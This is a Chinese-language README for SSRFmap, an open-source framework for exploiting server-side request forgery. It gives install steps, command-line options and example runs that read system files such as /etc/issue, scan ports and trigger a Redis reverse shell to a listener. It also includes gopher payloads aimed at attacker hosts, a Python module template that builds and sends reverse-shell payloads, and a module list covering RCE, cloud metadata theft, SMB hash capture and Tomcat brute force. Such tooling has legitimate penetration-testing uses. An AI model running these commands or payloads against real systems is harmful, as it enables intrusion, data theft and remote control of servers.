SSRF 常用于对其他服务进行利用,本框架旨在轻松发现并利用这些服务。SSRFmap 接收一个 Burp 请求文件作为输入,以及一个用于模糊测试的参数。
服务端请求伪造(SSRF)是一种攻击者迫使服务器代表其执行请求的漏洞。
以下模块已实现,可通过 -m 参数使用。
从 GitHub 仓库安装。
$ git clone https://github.com/swisskyrepo/SSRFmap
$ cd SSRFmap/
$ pip3 install -r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
[-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
[--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
optional arguments:
-h, --help show this help message and exit
-r REQFILE SSRF Request file
-p PARAM SSRF Parameter to target
-m MODULES SSRF Modules to enable
-l HANDLER Start an handler for a reverse shell
-v [VERBOSE] Enable verbosity
--lhost LHOST LHOST reverse shell or IP to target in the network
--lport LPORT LPORT reverse shell or port to target in the network
--uagent USERAGENT User Agent to use
--ssl [SSL] Use HTTPS without verification
--proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080)
--level [LEVEL] Level of test to perform (1-5, default: 1)
Docker
$ git clone https://github.com/swisskyrepo/SSRFmap
$ docker build --no-cache -t ssrfmap .
$ docker run -it ssrfmap ssrfmap.py [OPTIONS]
$ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
首先你需要一个带有待模糊参数的请求,Burp 请求与 SSRFmap 配合良好。 示例如下。更多示例可以在 ./examples 文件夹中找到。
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1
url=https%3A%2F%2Fwww.google.fr
使用 -m 参数后跟模块名称(如果要启动多个模块,用逗号分隔)。
# 对 localhost 进行端口扫描并读取默认文件
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan
如果你想在请求头、GET 或 POST 参数中注入,只需指定参数名称
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test
如果需要自定义 User-Agent,请使用 --uagent。某些目标会使用 HTTPS,可以用 --ssl 启用。
# 对 HTTPS 端点进行端口扫描,使用自定义 User-Agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
部分模块允许你建立反向连接,需要指定 LHOST 和 LPORT。SSRFmap 也可以监听传入的反向 shell。
# 在 Redis 上触发反向 shell
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
# -l 在指定端口创建监听器用于反向 shell
# --lhost 和 --lport 的作用类似于 Metasploit,这些值用于生成反向 shell 载荷
当目标受到 WAF 或某些过滤保护时,你可以通过参数 --level 尝试多种 payload 和编码。
# --level:调整 payload 以绕过某些 IDS/WAF。例如:127.0.0.1 -> [::] -> 0000: -> ...
可以使用 data/example.py SSRF 服务快速测试框架。
本地
FLASK_APP=examples/example.py flask run &
python ssrfmap.py -r examples/request.txt -p url -m readfiles
Docker
docker build --no-cache -t ssrfmap .
# 运行示例 ssrf http 服务
docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
# 运行示例 ssrf dns 服务
docker exec -u root:root -it example python examples/ssrf_dns.py
# 运行 ssrfmap 工具
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
启动测试请求:
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab
我 ❤️ pull requests :) 欢迎添加任何下面列出的功能或新服务。
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
以下代码是添加与某个服务交互模块的模板。
from core.utils import *
import logging
name = "servicename in lowercase"
description = "ServiceName RCE - What does it do"
author = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]
class exploit():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__(self, requester, args):
logging.info("Module '{}' launched !".format(name))
# Handle args for reverse shell
if args.lhost == None: self.SERVER_HOST = input("Server Host:")
else: self.SERVER_HOST = args.lhost
if args.lport == None: self.SERVER_PORT = input("Server Port:")
else: self.SERVER_PORT = args.lport
# Data for the service
# Using a generator to create the host list
# Edit the following ip if you need to target something else
gen_host = gen_ip_list("127.0.0.1", args.level)
for ip in gen_host:
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher(data, ip , port)
# Handle args for reverse shell
payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
# Send the payload
r = requester.do_request(args.param, payload)
你也可以通过现实中的啤酒或 GitHub Sponsor 按钮进行贡献。
| 名称 | 描述 |
|---|
axfr | DNS 区域传输(AXFR) |
fastcgi | FastCGI RCE |
redis | Redis RCE |
github | Github Enterprise RCE < 2.8.7 |
zabbix | Zabbix RCE |
mysql | MySQL 命令执行 |
postgres | Postgres 命令执行 |
docker | 通过 API 获取 Docker 信息泄露 |
smtp | SMTP 发送邮件 |
portscan | 扫描主机的 top 8000 端口 |
networkscan | 网络 HTTP Ping 扫描 |
readfiles | 读取文件,如 /etc/passwd |
alibaba | 从云服务商读取文件(如元数据、用户数据) |
aws | 从云服务商读取文件(如元数据、用户数据) |
gce | 从云服务商读取文件(如元数据、用户数据) |
digitalocean | 从云服务商读取文件(如元数据、用户数据) |
socksproxy | SOCKS4 代理 |
smbhash | 通过 UNC 路径强制进行 SMB 认证 |
tomcat | 针对 Tomcat Manager 的暴力破解攻击 |
custom | 向监听服务发送自定义数据,例如 netcat |
memcache | 在 memcache 实例中存储数据 |